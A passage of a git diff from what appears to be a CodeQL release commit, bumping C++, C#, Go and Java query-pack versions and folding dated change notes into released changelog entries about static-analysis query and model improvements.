Fixed a bug in the models for Microsoft's Active Template Library (ATL). +* The query "Use of basic integral type" (`cpp/jpl-c/basic-int-types`) no longer produces alerts for the standard fixed width integer types (`int8_t`, `uint8_t`, etc.), and the `_Bool` and `bool` types. + ## 1.3.6 No user-facing changes. diff --git a/cpp/ql/src/change-notes/2025-03-14-mad-atl-fix.md b/cpp/ql/src/change-notes/2025-03-14-mad-atl-fix.md deleted file mode 100644 index 7e7c5f7e279..00000000000 --- a/cpp/ql/src/change-notes/2025-03-14-mad-atl-fix.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* Fixed a bug in the models for Microsoft's Active Template Library (ATL). diff --git a/cpp/ql/src/change-notes/2025-03-11-basic-int-types.md b/cpp/ql/src/change-notes/released/1.3.7.md similarity index 59% rename from cpp/ql/src/change-notes/2025-03-11-basic-int-types.md rename to cpp/ql/src/change-notes/released/1.3.7.md index 7d3bd4b8233..6af01103f08 100644 --- a/cpp/ql/src/change-notes/2025-03-11-basic-int-types.md +++ b/cpp/ql/src/change-notes/released/1.3.7.md @@ -1,4 +1,6 @@ ---- -category: minorAnalysis ---- -* The query "Use of basic integral type" (`cpp/jpl-c/basic-int-types`) no longer produces alerts for the standard fixed width integer types (`int8_t`, `uint8_t`, etc.), and the `_Bool` and `bool` types. \ No newline at end of file +## 1.3.7 + +### Minor Analysis Improvements + +* Fixed a bug in the models for Microsoft's Active Template Library (ATL). +* The query "Use of basic integral type" (`cpp/jpl-c/basic-int-types`) no longer produces alerts for the standard fixed width integer types (`int8_t`, `uint8_t`, etc.), and the `_Bool` and `bool` types. diff --git a/cpp/ql/src/codeql-pack.release.yml b/cpp/ql/src/codeql-pack.release.yml index 0a0b0986311..2f4b67be43f 100644 --- a/cpp/ql/src/codeql-pack.release.yml +++ b/cpp/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.3.6 +lastReleaseVersion: 1.3.7 diff --git a/cpp/ql/src/qlpack.yml b/cpp/ql/src/qlpack.yml index fa04e55439b..be8212979fa 100644 --- a/cpp/ql/src/qlpack.yml +++ b/cpp/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/cpp-queries -version: 1.3.7-dev +version: 1.3.7 groups: - cpp - queries diff --git a/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md b/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md index 49b1297498c..38009248e96 100644 --- a/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md +++ b/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.7.37 + +No user-facing changes. + ## 1.7.36 No user-facing changes. diff --git a/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.37.md b/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.37.md new file mode 100644 index 00000000000..d451a3fb0e7 --- /dev/null +++ b/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.37.md @@ -0,0 +1,3 @@ +## 1.7.37 + +No user-facing changes. diff --git a/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml b/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml index 5d773ebdb70..4d975f78ff6 100644 --- a/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml +++ b/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.7.36 +lastReleaseVersion: 1.7.37 diff --git a/csharp/ql/campaigns/Solorigate/lib/qlpack.yml b/csharp/ql/campaigns/Solorigate/lib/qlpack.yml index 7a4b5a1ef19..10f9ed40e0d 100644 --- a/csharp/ql/campaigns/Solorigate/lib/qlpack.yml +++ b/csharp/ql/campaigns/Solorigate/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-solorigate-all -version: 1.7.37-dev +version: 1.7.37 groups: - csharp - solorigate diff --git a/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md b/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md index 49b1297498c..38009248e96 100644 --- a/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md +++ b/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.7.37 + +No user-facing changes. + ## 1.7.36 No user-facing changes. diff --git a/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.37.md b/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.37.md new file mode 100644 index 00000000000..d451a3fb0e7 --- /dev/null +++ b/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.37.md @@ -0,0 +1,3 @@ +## 1.7.37 + +No user-facing changes. diff --git a/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml b/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml index 5d773ebdb70..4d975f78ff6 100644 --- a/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml +++ b/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.7.36 +lastReleaseVersion: 1.7.37 diff --git a/csharp/ql/campaigns/Solorigate/src/qlpack.yml b/csharp/ql/campaigns/Solorigate/src/qlpack.yml index b0d8cb14797..a4148e9688b 100644 --- a/csharp/ql/campaigns/Solorigate/src/qlpack.yml +++ b/csharp/ql/campaigns/Solorigate/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-solorigate-queries -version: 1.7.37-dev +version: 1.7.37 groups: - csharp - solorigate diff --git a/csharp/ql/lib/CHANGELOG.md b/csharp/ql/lib/CHANGELOG.md index 2ca6fea2b08..9b5f38e0ca5 100644 --- a/csharp/ql/lib/CHANGELOG.md +++ b/csharp/ql/lib/CHANGELOG.md @@ -1,3 +1,10 @@ +## 5.1.3 + +### Minor Analysis Improvements + +* The models for `System.Uri` have been modified to better model the flow of tainted URIs. +* Modeled parameter passing between Blazor parent and child components. + ## 5.1.2 No user-facing changes. diff --git a/csharp/ql/lib/change-notes/2025-03-26-blazor-parameter-passing.md b/csharp/ql/lib/change-notes/2025-03-26-blazor-parameter-passing.md deleted file mode 100644 index 9838aa8d44a..00000000000 --- a/csharp/ql/lib/change-notes/2025-03-26-blazor-parameter-passing.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* Modeled parameter passing between Blazor parent and child components. diff --git a/csharp/ql/lib/change-notes/2025-03-27-update-system.uri-model.md b/csharp/ql/lib/change-notes/2025-03-27-update-system.uri-model.md deleted file mode 100644 index 2b88cfb44d0..00000000000 --- a/csharp/ql/lib/change-notes/2025-03-27-update-system.uri-model.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* The models for `System.Uri` have been modified to better model the flow of tainted URIs. \ No newline at end of file diff --git a/csharp/ql/lib/change-notes/released/5.1.3.md b/csharp/ql/lib/change-notes/released/5.1.3.md new file mode 100644 index 00000000000..978a05a50fa --- /dev/null +++ b/csharp/ql/lib/change-notes/released/5.1.3.md @@ -0,0 +1,6 @@ +## 5.1.3 + +### Minor Analysis Improvements + +* The models for `System.Uri` have been modified to better model the flow of tainted URIs. +* Modeled parameter passing between Blazor parent and child components. diff --git a/csharp/ql/lib/codeql-pack.release.yml b/csharp/ql/lib/codeql-pack.release.yml index d21c12fbe7f..8ffbc76d58a 100644 --- a/csharp/ql/lib/codeql-pack.release.yml +++ b/csharp/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 5.1.2 +lastReleaseVersion: 5.1.3 diff --git a/csharp/ql/lib/qlpack.yml b/csharp/ql/lib/qlpack.yml index 7df16ccea0b..e80d0a3ebbd 100644 --- a/csharp/ql/lib/qlpack.yml +++ b/csharp/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-all -version: 5.1.3-dev +version: 5.1.3 groups: csharp dbscheme: semmlecode.csharp.dbscheme extractor: csharp diff --git a/csharp/ql/src/CHANGELOG.md b/csharp/ql/src/CHANGELOG.md index 09d65767a94..125e6162253 100644 --- a/csharp/ql/src/CHANGELOG.md +++ b/csharp/ql/src/CHANGELOG.md @@ -1,3 +1,18 @@ +## 1.1.0 + +### New Queries + +* Added a new query, `csharp/path-combine`, to recommend against the `Path.Combine` method due to it silently discarding its earlier parameters if later parameters are rooted. + +### Minor Analysis Improvements + +* Improved dependency resolution in `build-mode: none` extraction to handle failing `dotnet restore` processes that managed to download a subset of the dependencies before the failure. +* Increase query precision for `cs/useless-gethashcode-call` by not flagging calls to `GetHashCode` on `uint`, `long` and `ulong`. +* Increase query precision for `cs/constant-condition` and allow the use of discards in switch/case statements and also take the condition (if any) into account. +* The `cs/local-not-disposed` query no longer flags un-disposed tasks as this is often not needed (explained [here](https://devblogs.microsoft.com/pfxteam/do-i-need-to-dispose-of-tasks/)). +* Increase query precision for `cs/useless-assignment-to-local` and `cs/constant-condition` when *unknown* types are involved (mostly relevant for `build-mode: none` databases). +* Don't consider an if-statement to be *useless* in `cs/useless-if-statement` if there is at least a comment. + ## 1.0.19 No user-facing changes. diff --git a/csharp/ql/src/change-notes/2025-02-26-path-combine.md b/csharp/ql/src/change-notes/2025-02-26-path-combine.md deleted file mode 100644 index 81610502b22..00000000000 --- a/csharp/ql/src/change-notes/2025-02-26-path-combine.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: newQuery ---- -* Added a new query, `csharp/path-combine`, to recommend against the `Path.Combine` method due to it silently discarding its earlier parameters if later parameters are rooted. \ No newline at end of file diff --git a/csharp/ql/src/change-notes/2025-03-05-useless-if-statement.md b/csharp/ql/src/change-notes/2025-03-05-useless-if-statement.md deleted file mode 100644 index 3d62fe373e1..00000000000 --- a/csharp/ql/src/change-notes/2025-03-05-useless-if-statement.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* Don't consider an if-statement to be *useless* in `cs/useless-if-statement` if there is at least a comment. diff --git a/csharp/ql/src/change-notes/2025-03-10-task-not-disposed.md b/csharp/ql/src/change-notes/2025-03-10-task-not-disposed.md deleted file mode 100644 index faf748d873f..00000000000 --- a/csharp/ql/src/change-notes/2025-03-10-task-not-disposed.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* The `cs/local-not-disposed` query no longer flags un-disposed tasks as this is often not needed (explained [here](https://devblogs.microsoft.com/pfxteam/do-i-need-to-dispose-of-tasks/)). diff --git a/csharp/ql/src/change-notes/2025-03-10-unknown-type-matching.md b/csharp/ql/src/change-notes/2025-03-10-unknown-type-matching.md deleted file mode 100644 index 634f4606700..00000000000 --- a/csharp/ql/src/change-notes/2025-03-10-unknown-type-matching.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* Increase query precision for `cs/useless-assignment-to-local` and `cs/constant-condition` when *unknown* types are involved (mostly relevant for `build-mode: none` databases). diff --git a/csharp/ql/src/change-notes/2025-03-11-constant-condition.md b/csharp/ql/src/change-notes/2025-03-11-constant-condition.md deleted file mode 100644 index 2c9e50136af..00000000000 --- a/csharp/ql/src/change-notes/2025-03-11-constant-condition.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* Increase query precision for `cs/constant-condition` and allow the use of discards in switch/case statements and also take the condition (if any) into account. diff --git a/csharp/ql/src/change-notes/2025-03-13-useless-gethashcode-call.md b/csharp/ql/src/change-notes/2025-03-13-useless-gethashcode-call.md deleted file mode 100644 index 55b705b79ec..00000000000 --- a/csharp/ql/src/change-notes/2025-03-13-useless-gethashcode-call.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* Increase query precision for `cs/useless-gethashcode-call` by not flagging calls to `GetHashCode` on `uint`, `long` and `ulong`. diff --git a/csharp/ql/src/change-notes/2025-03-21-dependency-fetching.md b/csharp/ql/src/change-notes/2025-03-21-dependency-fetching.md deleted file mode 100644 index 84c6a9721dc..00000000000 --- a/csharp/ql/src/change-notes/2025-03-21-dependency-fetching.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* Improved dependency resolution in `build-mode: none` extraction to handle failing `dotnet restore` processes that managed to download a subset of the dependencies before the failure. diff --git a/csharp/ql/src/change-notes/released/1.1.0.md b/csharp/ql/src/change-notes/released/1.1.0.md new file mode 100644 index 00000000000..e3bffce48a5 --- /dev/null +++ b/csharp/ql/src/change-notes/released/1.1.0.md @@ -0,0 +1,14 @@ +## 1.1.0 + +### New Queries + +* Added a new query, `csharp/path-combine`, to recommend against the `Path.Combine` method due to it silently discarding its earlier parameters if later parameters are rooted. + +### Minor Analysis Improvements + +* Improved dependency resolution in `build-mode: none` extraction to handle failing `dotnet restore` processes that managed to download a subset of the dependencies before the failure. +* Increase query precision for `cs/useless-gethashcode-call` by not flagging calls to `GetHashCode` on `uint`, `long` and `ulong`. +* Increase query precision for `cs/constant-condition` and allow the use of discards in switch/case statements and also take the condition (if any) into account. +* The `cs/local-not-disposed` query no longer flags un-disposed tasks as this is often not needed (explained [here](https://devblogs.microsoft.com/pfxteam/do-i-need-to-dispose-of-tasks/)). +* Increase query precision for `cs/useless-assignment-to-local` and `cs/constant-condition` when *unknown* types are involved (mostly relevant for `build-mode: none` databases). +* Don't consider an if-statement to be *useless* in `cs/useless-if-statement` if there is at least a comment. diff --git a/csharp/ql/src/codeql-pack.release.yml b/csharp/ql/src/codeql-pack.release.yml index e15e0d267b0..2ac15439f56 100644 --- a/csharp/ql/src/codeql-pack.release.yml +++ b/csharp/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.19 +lastReleaseVersion: 1.1.0 diff --git a/csharp/ql/src/qlpack.yml b/csharp/ql/src/qlpack.yml index 607c7f084c2..d669f267976 100644 --- a/csharp/ql/src/qlpack.yml +++ b/csharp/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-queries -version: 1.0.20-dev +version: 1.1.0 groups: - csharp - queries diff --git a/go/ql/consistency-queries/CHANGELOG.md b/go/ql/consistency-queries/CHANGELOG.md index 72016e3f662..b20db016231 100644 --- a/go/ql/consistency-queries/CHANGELOG.md +++ b/go/ql/consistency-queries/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.20 + +No user-facing changes. + ## 1.0.19 No user-facing changes. diff --git a/go/ql/consistency-queries/change-notes/released/1.0.20.md b/go/ql/consistency-queries/change-notes/released/1.0.20.md new file mode 100644 index 00000000000..5fc76269ab2 --- /dev/null +++ b/go/ql/consistency-queries/change-notes/released/1.0.20.md @@ -0,0 +1,3 @@ +## 1.0.20 + +No user-facing changes. diff --git a/go/ql/consistency-queries/codeql-pack.release.yml b/go/ql/consistency-queries/codeql-pack.release.yml index e15e0d267b0..7af2d1347ff 100644 --- a/go/ql/consistency-queries/codeql-pack.release.yml +++ b/go/ql/consistency-queries/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.19 +lastReleaseVersion: 1.0.20 diff --git a/go/ql/consistency-queries/qlpack.yml b/go/ql/consistency-queries/qlpack.yml index 0fbb1c5c7ed..82bc42c2378 100644 --- a/go/ql/consistency-queries/qlpack.yml +++ b/go/ql/consistency-queries/qlpack.yml @@ -1,5 +1,5 @@ name: codeql-go-consistency-queries -version: 1.0.20-dev +version: 1.0.20 groups: - go - queries diff --git a/go/ql/lib/CHANGELOG.md b/go/ql/lib/CHANGELOG.md index 78bb56e662a..27ad374e374 100644 --- a/go/ql/lib/CHANGELOG.md +++ b/go/ql/lib/CHANGELOG.md @@ -1,3 +1,11 @@ +## 4.2.2 + +### Minor Analysis Improvements + +* We no longer track taint into a `sync.Map` via the key of a key-value pair, since we do not model any way in which keys can be read from a `sync.Map`. +* `database` source models have been added for v1 and v2 of the `github.com/couchbase/gocb` package. +* Added `database` source models for the `github.com/Masterminds/squirrel` ORM package. + ## 4.2.1 No user-facing changes. diff --git a/go/ql/lib/change-notes/2025-03-02-squirrel-source-models.md b/go/ql/lib/change-notes/2025-03-02-squirrel-source-models.md deleted file mode 100644 index 05896168630..00000000000 --- a/go/ql/lib/change-notes/2025-03-02-squirrel-source-models.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -category: minorAnalysis ---- -* Added `database` source models for the `github.com/Masterminds/squirrel` ORM package. - diff --git a/go/ql/lib/change-notes/2025-03-03-couchbase-source-models.md b/go/ql/lib/change-notes/2025-03-03-couchbase-source-models.md deleted file mode 100644 index cb5fd1f1284..00000000000 --- a/go/ql/lib/change-notes/2025-03-03-couchbase-source-models.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -category: minorAnalysis ---- -* `database` source models have been added for v1 and v2 of the `github.com/couchbase/gocb` package. - diff --git a/go/ql/lib/change-notes/2025-03-04-improve-models-for-sync-map.md b/go/ql/lib/change-notes/2025-03-04-improve-models-for-sync-map.md deleted file mode 100644 index ec0a167993c..00000000000 --- a/go/ql/lib/change-notes/2025-03-04-improve-models-for-sync-map.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* We no longer track taint into a `sync.Map` via the key of a key-value pair, since we do not model any way in which keys can be read from a `sync.Map`. diff --git a/go/ql/lib/change-notes/released/4.2.2.md b/go/ql/lib/change-notes/released/4.2.2.md new file mode 100644 index 00000000000..d710ac69f69 --- /dev/null +++ b/go/ql/lib/change-notes/released/4.2.2.md @@ -0,0 +1,7 @@ +## 4.2.2 + +### Minor Analysis Improvements + +* We no longer track taint into a `sync.Map` via the key of a key-value pair, since we do not model any way in which keys can be read from a `sync.Map`. +* `database` source models have been added for v1 and v2 of the `github.com/couchbase/gocb` package. +* Added `database` source models for the `github.com/Masterminds/squirrel` ORM package. diff --git a/go/ql/lib/codeql-pack.release.yml b/go/ql/lib/codeql-pack.release.yml index 38ea9976fcc..18bc0770993 100644 --- a/go/ql/lib/codeql-pack.release.yml +++ b/go/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 4.2.1 +lastReleaseVersion: 4.2.2 diff --git a/go/ql/lib/qlpack.yml b/go/ql/lib/qlpack.yml index 0ece9e1769e..487e9205e72 100644 --- a/go/ql/lib/qlpack.yml +++ b/go/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/go-all -version: 4.2.2-dev +version: 4.2.2 groups: go dbscheme: go.dbscheme extractor: go diff --git a/go/ql/src/CHANGELOG.md b/go/ql/src/CHANGELOG.md index fb033ceb26c..ff91b3d9ce8 100644 --- a/go/ql/src/CHANGELOG.md +++ b/go/ql/src/CHANGELOG.md @@ -1,3 +1,9 @@ +## 1.1.11 + +### Minor Analysis Improvements + +* False positives in "Log entries created from user input" (`go/log-injection`) and "Clear-text logging of sensitive information" (`go/clear-text-logging`) which involved the verb `%T` in a format specifier have been fixed. As a result, some users may also see more alerts from the "Use of constant `state` value in OAuth 2.0 URL" (`go/constant-oauth2-state`) query. + ## 1.1.10 No user-facing changes. diff --git a/go/ql/src/change-notes/2025-03-20-logging-false-positive-type-format-specifier.md b/go/ql/src/change-notes/released/1.1.11.md similarity index 89% rename from go/ql/src/change-notes/2025-03-20-logging-false-positive-type-format-specifier.md rename to go/ql/src/change-notes/released/1.1.11.md index 43478a70097..44dc87cea8c 100644 --- a/go/ql/src/change-notes/2025-03-20-logging-false-positive-type-format-specifier.md +++ b/go/ql/src/change-notes/released/1.1.11.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 1.1.11 + +### Minor Analysis Improvements + * False positives in "Log entries created from user input" (`go/log-injection`) and "Clear-text logging of sensitive information" (`go/clear-text-logging`) which involved the verb `%T` in a format specifier have been fixed. As a result, some users may also see more alerts from the "Use of constant `state` value in OAuth 2.0 URL" (`go/constant-oauth2-state`) query. diff --git a/go/ql/src/codeql-pack.release.yml b/go/ql/src/codeql-pack.release.yml index 4c01918d414..121f8cf035d 100644 --- a/go/ql/src/codeql-pack.release.yml +++ b/go/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.1.10 +lastReleaseVersion: 1.1.11 diff --git a/go/ql/src/qlpack.yml b/go/ql/src/qlpack.yml index 52ed59f34a1..514a7809b7f 100644 --- a/go/ql/src/qlpack.yml +++ b/go/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/go-queries -version: 1.1.11-dev +version: 1.1.11 groups: - go - queries diff --git a/java/ql/lib/CHANGELOG.md b/java/ql/lib/CHANGELOG.md index 0bd7926c956..4e5f40cbc84 100644 --- a/java/ql/lib/CHANGELOG.md +++ b/java/ql/lib/CHANGELOG.md @@ -1,3 +1,18 @@ +## 7.1.2 + +### Minor Analysis Improvements + +* Java extraction is now able to download Maven 3.9.x if a Maven Enforcer Plugin configuration indicates it is necessary. Maven 3.8.x is still preferred if the enforcer-plugin configuration (if any) permits it. +* Added a path injection sanitizer for calls to `java.lang.String.matches`, `java.lang.String.replace`, and `java.lang.String.replaceAll` that make sure '/', '\', '..' are not in the path. + +### Bug Fixes + +* In `build-mode: none` where the project has a Gradle build system, database creation no longer attempts to download some non-existent jar files relating to non-jar Maven artifacts, such as BOMs. This was harmless, but saves some time and reduces spurious warnings. +* Java extraction no longer freezes for a long time or times out when using libraries that feature expanding cyclic generic types. For example, this was known to occur when using some classes from the Blazebit Persistence library. +* Java build-mode `none` no longer fails when a required version of Gradle cannot be downloaded using the `gradle wrapper` command, such as due to a firewall. It will now attempt to use the system version of Gradle if present, or otherwise proceed without detailed dependency information. +* Java build-mode `none` no longer fails when a required version of Maven cannot be downloaded, such as due to a firewall. It will now attempt to use the system version of Maven if present, or otherwise proceed without detailed dependency information. +* Java build-mode `none` now correctly uses Maven dependency information on Windows platforms. + ## 7.1.1 No user-facing changes. diff --git a/java/ql/lib/change-notes/2025-03-03-maven-fixes.md b/java/ql/lib/change-notes/2025-03-03-maven-fixes.md deleted file mode 100644 index 0ec0c40dc17..00000000000 --- a/java/ql/lib/change-notes/2025-03-03-maven-fixes.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -category: fix ---- -* Java build-mode `none` no longer fails when a required version of Maven cannot be downloaded, such as due to a firewall. It will now attempt to use the system version of Maven if present, or otherwise proceed without detailed dependency information. -* Java build-mode `none` now correctly uses Maven dependency information on Windows platforms. diff --git a/java/ql/lib/change-notes/2025-03-10-matches-replace-path-sanitizer.md b/java/ql/lib/change-notes/2025-03-10-matches-replace-path-sanitizer.md deleted file mode 100644 index 21d4c61f7c1..00000000000 --- a/java/ql/lib/change-notes/2025-03-10-matches-replace-path-sanitizer.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* Added a path injection sanitizer for calls to `java.lang.String.matches`, `java.lang.String.replace`, and `java.lang.String.replaceAll` that make sure '/', '\', '..' are not in the path. diff --git a/java/ql/lib/change-notes/2025-03-18-cyclic-types.md b/java/ql/lib/change-notes/2025-03-18-cyclic-types.md deleted file mode 100644 index 15734999bb0..00000000000 --- a/java/ql/lib/change-notes/2025-03-18-cyclic-types.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: fix ---- -* Java extraction no longer freezes for a long time or times out when using libraries that feature expanding cyclic generic types. For example, this was known to occur when using some classes from the Blazebit Persistence library. diff --git a/java/ql/lib/change-notes/2025-03-18-gradle-fixes.md b/java/ql/lib/change-notes/2025-03-18-gradle-fixes.md deleted file mode 100644 index 2def03388fc..00000000000 --- a/java/ql/lib/change-notes/2025-03-18-gradle-fixes.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: fix ---- -* Java build-mode `none` no longer fails when a required version of Gradle cannot be downloaded using the `gradle wrapper` command, such as due to a firewall. It will now attempt to use the system version of Gradle if present, or otherwise proceed without detailed dependency information. diff --git a/java/ql/lib/change-notes/2025-03-18-maven-enforcer.md b/java/ql/lib/change-notes/2025-03-18-maven-enforcer.md deleted file mode 100644 index 549862da7ba..00000000000 --- a/java/ql/lib/change-notes/2025-03-18-maven-enforcer.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* Java extraction is now able to download Maven 3.9.x if a Maven Enforcer Plugin configuration indicates it is necessary. Maven 3.8.x is still preferred if the enforcer-plugin configuration (if any) permits it. diff --git a/java/ql/lib/change-notes/2025-03-27-gradle-fetch-reduction.md b/java/ql/lib/change-notes/2025-03-27-gradle-fetch-reduction.md deleted file mode 100644 index 138ff89ff48..00000000000 --- a/java/ql/lib/change-notes/2025-03-27-gradle-fetch-reduction.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: fix ---- -* In `build-mode: none` where the project has a Gradle build system, database creation no longer attempts to download some non-existent jar files relating to non-jar Maven artifacts, such as BOMs. This was harmless, but saves some time and reduces spurious warnings. diff --git a/java/ql/lib/change-notes/released/7.1.2.md b/java/ql/lib/change-notes/released/7.1.2.md new file mode 100644 index 00000000000..57fc5b2cc6d --- /dev/null +++ b/java/ql/lib/change-notes/released/7.1.2.md @@ -0,0 +1,14 @@ +## 7.1.2 + +### Minor Analysis Improvements + +* Java extraction is now able to download Maven 3.9.x if a Maven Enforcer Plugin configuration indicates it is necessary. Maven 3.8.x is still preferred if the enforcer-plugin configuration (if any) permits it. +* Added a path injection sanitizer for calls to `java.lang.String.matches`, `java.lang.String.replace`, and `java.lang.String.replaceAll` that make sure '/', '\', '..' are not in the path. + +### Bug Fixes + +* In `build-mode: none` where the project has a Gradle build system, database creation no longer attempts to download some non-existent jar files relating to non-jar Maven artifacts, such as BOMs. This was harmless, but saves some time and reduces spurious warnings. +* Java extraction no longer freezes for a long time or times out when using libraries that feature expanding cyclic generic types. For example, this was known to occur when using some classes from the Blazebit Persistence library. +* Java build-mode `none` no longer fails when a required version of Gradle cannot be downloaded using the `gradle wrapper` command, such as due to a firewall. It will now attempt to use the system version of Gradle if present, or otherwise proceed without detailed dependency information. +* Java build-mode `none` no longer fails when a required version of Maven cannot be downloaded, such as due to a firewall. It will now attempt to use the system version of Maven if present, or otherwise proceed without detailed dependency information. +* Java build-mode `none` now correctly uses Maven dependency information on Windows platforms. diff --git a/java/ql/lib/codeql-pack.release.yml b/java/ql/lib/codeql-pack.release.yml index 8e970df6cae..547681cc440 100644 --- a/java/ql/lib/codeql-pack.release.yml +++ b/java/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 7.1.1 +lastReleaseVersion: 7.1.2 diff --git a/java/ql/lib/qlpack.yml b/java/ql/lib/qlpack.yml index a92a21f7747..9936592e430 100644 --- a/java/ql/lib/qlpack.yml +++ b/java/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/java-all -version: 7.1.2-dev +version: 7.1.2 groups: java dbscheme: config/semmlecode.dbscheme extractor: java diff --git a/java/ql/src/CHANGELOG.md b/java/ql/src/CHANGELOG.md index 8e463d79fb9..d27571c724d 100644 --- a/java/ql/src/CHANGELOG.md +++ b/java/ql/src/CHANGELOG.md @@ -1,3 +1,19 @@ +## 1.4.0 + +### New Queries + +* Added a new quality query, `java/empty-method`, to detect empty methods. +* The query `java/spring-boot-exposed-actuators` has been promoted from experimental to the main query pack. Its results will now appear by default, and the query itself will be removed from the [CodeQL Community Packs](https://github.com/GitHubSecurityLab/CodeQL-Community-Packs). This query was originally submitted as an experimental query [by @ggolawski](https://github.com/github/codeql/pull/2901). + +### Major Analysis Improvements + +* Updated the `java/unreleased-lock` query so that it no longer report alerts in cases where a boolean variable is used to track lock state. + +### Minor Analysis Improvements + +* Fixed a false positive in "Time-of-check time-of-use race condition" (`java/toctou-race-condition`) where a field of a non-static class was not considered always-locked if it was accessed in a constructor. +* Overrides of `BroadcastReceiver::onReceive` with no statements in their body are no longer considered unverified by the `java/improper-intent-verification` query. This will reduce false positives from `onReceive` methods which do not perform any actions. + ## 1.3.1 No user-facing changes. diff --git a/java/ql/src/change-notes/2025-02-24-spring-boot-actuators-promo.md b/java/ql/src/change-notes/2025-02-24-spring-boot-actuators-promo.md deleted file mode 100644 index 8f407de95ac..00000000000 --- a/java/ql/src/change-notes/2025-02-24-spring-boot-actuators-promo.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: newQuery ---- -* The query `java/spring-boot-exposed-actuators` has been promoted from experimental to the main query pack. Its results will now appear by default, and the query itself will be removed from the [CodeQL Community Packs](https://github.com/GitHubSecurityLab/CodeQL-Community-Packs). This query was originally submitted as an experimental query [by @ggolawski](https://github.com/github/codeql/pull/2901). diff --git a/java/ql/src/change-notes/2025-03-02-unreleased-lock-fp.md b/java/ql/src/change-notes/2025-03-02-unreleased-lock-fp.md deleted file mode 100644 index 915f87604e7..00000000000 --- a/java/ql/src/change-notes/2025-03-02-unreleased-lock-fp.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: majorAnalysis ---- -* Updated the `java/unreleased-lock` query so that it no longer report alerts in cases where a boolean variable is used to track lock state. diff --git a/java/ql/src/change-notes/2025-03-03-fix-improper-intent-verification-query.md b/java/ql/src/change-notes/2025-03-03-fix-improper-intent-verification-query.md deleted file mode 100644 index b07ffc99a96..00000000000 --- a/java/ql/src/change-notes/2025-03-03-fix-improper-intent-verification-query.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* Overrides of `BroadcastReceiver::onReceive` with no statements in their body are no longer considered unverified by the `java/improper-intent-verification` query. This will reduce false positives from `onReceive` methods which do not perform any actions. diff --git a/java/ql/src/change-notes/2025-03-10-empty-method.md b/java/ql/src/change-notes/2025-03-10-empty-method.md deleted file mode 100644 index 6b33deffd1a..00000000000 --- a/java/ql/src/change-notes/2025-03-10-empty-method.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: newQuery ---- -* Added a new quality query, `java/empty-method`, to 